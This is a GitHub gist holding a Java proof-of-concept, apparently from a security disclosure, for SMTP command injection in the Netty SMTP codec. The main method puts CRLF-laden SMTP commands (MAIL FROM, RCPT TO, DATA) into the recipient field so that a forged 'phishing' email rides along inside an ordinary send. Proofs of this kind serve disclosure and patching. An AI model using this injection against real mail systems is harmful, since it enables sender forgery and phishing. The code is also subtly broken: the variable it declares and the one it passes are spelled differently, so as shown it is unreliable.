Created
September 4, 2025 00:38
-
-
Save DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package com.depthfirst.poc; | |
| import io.netty.handler.codec.smtp.SmtpRequest; | |
| import io.netty.handler.codec.smtp.SmtpRequestEncoder; | |
| import io.netty.handler.codec.smtp.SmtpRequests; | |
| import io.netty.channel.embedded.EmbeddedChannel; | |
| import io.netty.buffer.ByteBuf; | |
| import io.netty.util.CharsetUtil; | |
| import io.netty.bootstrap.Bootstrap; | |
| import io.netty.channel.*; | |
| import io.netty.channel.nio.NioEventLoopGroup; | |
| import io.netty.channel.socket.SocketChannel; | |
| import io.netty.channel.socket.nio.NioSocketChannel; | |
| import io.netty.handler.codec.smtp.SmtpResponseDecoder; | |
| import io.netty.handler.codec.smtp.SmtpResponse; | |
| import java.util.concurrent.CountDownLatch; | |
| import java.util.concurrent.TimeUnit; | |
| import io.netty.handler.logging.LogLevel; | |
| import io.netty.handler.logging.LoggingHandler; | |
| /** | |
| * | |
| * @author Mav Levin @ DepthFirst.com | |
| * | |
| * This is a proof-of-concept (PoC) for exploiting SMTP injection in Netty SMTP codec. | |
| * If an attacker can control the recipient or sender fields, they are able to hijack | |
| * the entire email, arbitrarily setting the sender, recipient, and content of the email. | |
| */ | |
| /** | |
| * | |
| * Quick Setup: | |
| * | |
| * 1. Install MailHog (local SMTP server): | |
| * brew update && brew install mailhog | |
| * | |
| * 2. Start MailHog: | |
| * mailhog | |
| * (SMTP runs on localhost:1025, web UI at http://localhost:8025) | |
| * | |
| * 3. To use another SMTP server, change SMTP_SERVER and SMTP_PORT above. | |
| * | |
| * 4. Run this code with Maven: | |
| * mvn clean compile exec:java -Dexec.mainClass="com.depthfirst.poc.App" -q | |
| * | |
| */ | |
| public class App | |
| { | |
| // SMTP server configuration - using local MailHog for testing | |
| private static final String SMTP_SERVER = "localhost"; | |
| private static final int SMTP_PORT = 1025; | |
| /** | |
| * Send an email using Netty SMTP client | |
| * @param from Sender email address | |
| * @param to Recipient email address | |
| * @param content Email content | |
| */ | |
| public static void sendEmail(String from, String to, String content) throws Exception { | |
| EventLoopGroup group = new NioEventLoopGroup(); | |
| CountDownLatch latch = new CountDownLatch(1); | |
| try { | |
| Bootstrap bootstrap = createBootstrap(group, from, to, content, latch); | |
| // Connect to SMTP server | |
| ChannelFuture future = bootstrap.connect(SMTP_SERVER, SMTP_PORT).sync(); | |
| System.out.println("Connected to SMTP server"); | |
| // Wait for email to be sent with timeout | |
| boolean completed = latch.await(10, TimeUnit.SECONDS); | |
| if (!completed) { | |
| System.out.println("WARNING: Email sending timed out after 10 seconds"); | |
| } | |
| } finally { | |
| group.shutdownGracefully(); | |
| } | |
| } | |
| /** | |
| * Creates and configures the Netty Bootstrap for SMTP communication | |
| */ | |
| private static Bootstrap createBootstrap(EventLoopGroup group, String from, String to, String content, CountDownLatch latch) { | |
| Bootstrap bootstrap = new Bootstrap(); | |
| bootstrap.group(group) | |
| .channel(NioSocketChannel.class) | |
| .handler(new ChannelInitializer<SocketChannel>() { | |
| @Override | |
| protected void initChannel(SocketChannel ch) { | |
| setupPipeline(ch, from, to, content, latch); | |
| } | |
| }); | |
| return bootstrap; | |
| } | |
| /** | |
| * Sets up the Netty pipeline with SMTP handlers | |
| */ | |
| private static void setupPipeline(SocketChannel ch, String from, String to, String content, CountDownLatch latch) { | |
| ChannelPipeline pipeline = ch.pipeline(); | |
| // Add logging handlers | |
| pipeline.addLast("sendLogger", createSendLogger()); | |
| pipeline.addLast(new SmtpRequestEncoder()); | |
| pipeline.addLast("receiveLogger", createReceiveLogger()); | |
| pipeline.addLast(new SmtpResponseDecoder(1024)); | |
| pipeline.addLast(new SmtpProtocolHandler(from, to, content, latch)); | |
| } | |
| /** | |
| * Creates a handler for logging outgoing data | |
| */ | |
| private static ChannelOutboundHandlerAdapter createSendLogger() { | |
| return new ChannelOutboundHandlerAdapter() { | |
| @Override | |
| public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) { | |
| if (msg instanceof ByteBuf) { | |
| ByteBuf buf = (ByteBuf) msg; | |
| String content = buf.toString(CharsetUtil.UTF_8); | |
| System.out.println("(netty is sending)> " + content.replaceAll("\r\n", "\\\\r\\\\n")); | |
| } | |
| ctx.write(msg, promise); | |
| } | |
| }; | |
| } | |
| /** | |
| * Creates a handler for logging incoming data | |
| */ | |
| private static ChannelInboundHandlerAdapter createReceiveLogger() { | |
| return new ChannelInboundHandlerAdapter() { | |
| @Override | |
| public void channelRead(ChannelHandlerContext ctx, Object msg) { | |
| if (msg instanceof ByteBuf) { | |
| ByteBuf buf = (ByteBuf) msg; | |
| String content = buf.toString(CharsetUtil.UTF_8); | |
| System.out.println("(netty has received)> " + content.replaceAll("\r\n", "\\\\r\\\\n")); | |
| } | |
| ctx.fireChannelRead(msg); | |
| } | |
| }; | |
| } | |
| /** | |
| * Handles SMTP protocol communication using a state machine | |
| */ | |
| private static class SmtpProtocolHandler extends SimpleChannelInboundHandler<SmtpResponse> { | |
| private final String from; | |
| private final String to; | |
| private final String content; | |
| private final CountDownLatch latch; | |
| private int step = 0; | |
| public SmtpProtocolHandler(String from, String to, String content, CountDownLatch latch) { | |
| this.from = from; | |
| this.to = to; | |
| this.content = content; | |
| this.latch = latch; | |
| } | |
| @Override | |
| protected void channelRead0(ChannelHandlerContext ctx, SmtpResponse response) { | |
| System.out.println("Server: " + response); | |
| try { | |
| handleSmtpResponse(ctx, response); | |
| } catch (Exception e) { | |
| System.err.println("Error handling SMTP response: " + e.getMessage()); | |
| closeConnection(ctx); | |
| } | |
| } | |
| private void handleSmtpResponse(ChannelHandlerContext ctx, SmtpResponse response) { | |
| if (response.code() == 220 && step == 0) { | |
| // Server ready, send HELO | |
| step = 1; | |
| ctx.writeAndFlush(SmtpRequests.helo("localhost")); | |
| } else if (response.code() == 250 && step == 1) { | |
| // HELO accepted, send MAIL FROM | |
| step = 2; | |
| ctx.writeAndFlush(SmtpRequests.mail(from)); | |
| } else if (response.code() == 250 && step == 2) { | |
| // MAIL FROM accepted, send RCPT TO | |
| step = 3; | |
| ctx.writeAndFlush(SmtpRequests.rcpt(to)); | |
| } else if (response.code() == 250 && step == 3) { | |
| // RCPT TO accepted, send DATA | |
| step = 4; | |
| ctx.writeAndFlush(SmtpRequests.data()); | |
| } else if (response.code() == 354 && step == 4) { | |
| // DATA accepted, send email content | |
| step = 5; | |
| String emailData = buildEmailContent(); | |
| ByteBuf emailBuffer = ctx.alloc().buffer(); | |
| emailBuffer.writeBytes(emailData.getBytes(CharsetUtil.UTF_8)); | |
| ctx.writeAndFlush(emailBuffer); | |
| } else if (response.code() == 250 && step == 5) { | |
| // Email sent successfully, send QUIT | |
| step = 6; | |
| // Send QUIT as raw string instead of SmtpRequest | |
| ByteBuf quitBuffer = ctx.alloc().buffer(); | |
| quitBuffer.writeBytes("QUIT\r\n".getBytes(CharsetUtil.UTF_8)); | |
| ctx.writeAndFlush(quitBuffer); | |
| } else if (response.code() == 221 && step == 6) { | |
| // QUIT accepted, close connection | |
| closeConnection(ctx); | |
| } else if (response.code() >= 400) { | |
| // Error response | |
| System.err.println("SMTP Error: " + response); | |
| closeConnection(ctx); | |
| } | |
| } | |
| private String buildEmailContent() { | |
| return "From: " + from + "\r\n" + | |
| "To: " + to + "\r\n" + | |
| "Subject: Test Email\r\n" + | |
| "\r\n" + | |
| content + "\r\n" + | |
| ".\r\n"; | |
| } | |
| private void closeConnection(ChannelHandlerContext ctx) { | |
| ctx.close(); | |
| latch.countDown(); | |
| } | |
| @Override | |
| public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { | |
| System.err.println("Error: " + cause.getMessage()); | |
| closeConnection(ctx); | |
| } | |
| } | |
| public static void main( String[] args ) | |
| { | |
| String regular_recepient = "[email protected]"; | |
| String injected_recipient = "[email protected]\r\n" + | |
| "MAIL FROM:<[email protected]>\r\n" + | |
| "RCPT TO:<[email protected]>\r\n" + | |
| "DATA\r\n" + | |
| "From: [email protected]\r\n" + | |
| "To: [email protected]\r\n" + | |
| "Subject: Urgent: Phishing Email\r\n" + | |
| "\r\n" + | |
| "This is a forged email that will pass authentication checks.\r\n" + | |
| ".\r\n" + | |
| "QUIT\r\n"; | |
| try { | |
| // Test the sendEmail function | |
| // sendEmail("[email protected]", "[email protected]", "This is a test email sent using Netty SMTP codec!"); | |
| sendEmail("[email protected]", injected_recepient, "This is a test email sent using Netty SMTP codec!"); | |
| System.out.println("Email sent successfully!"); | |
| } catch (Exception e) { | |
| System.err.println("Failed to send email: " + e.getMessage()); | |
| e.printStackTrace(); | |
| } | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment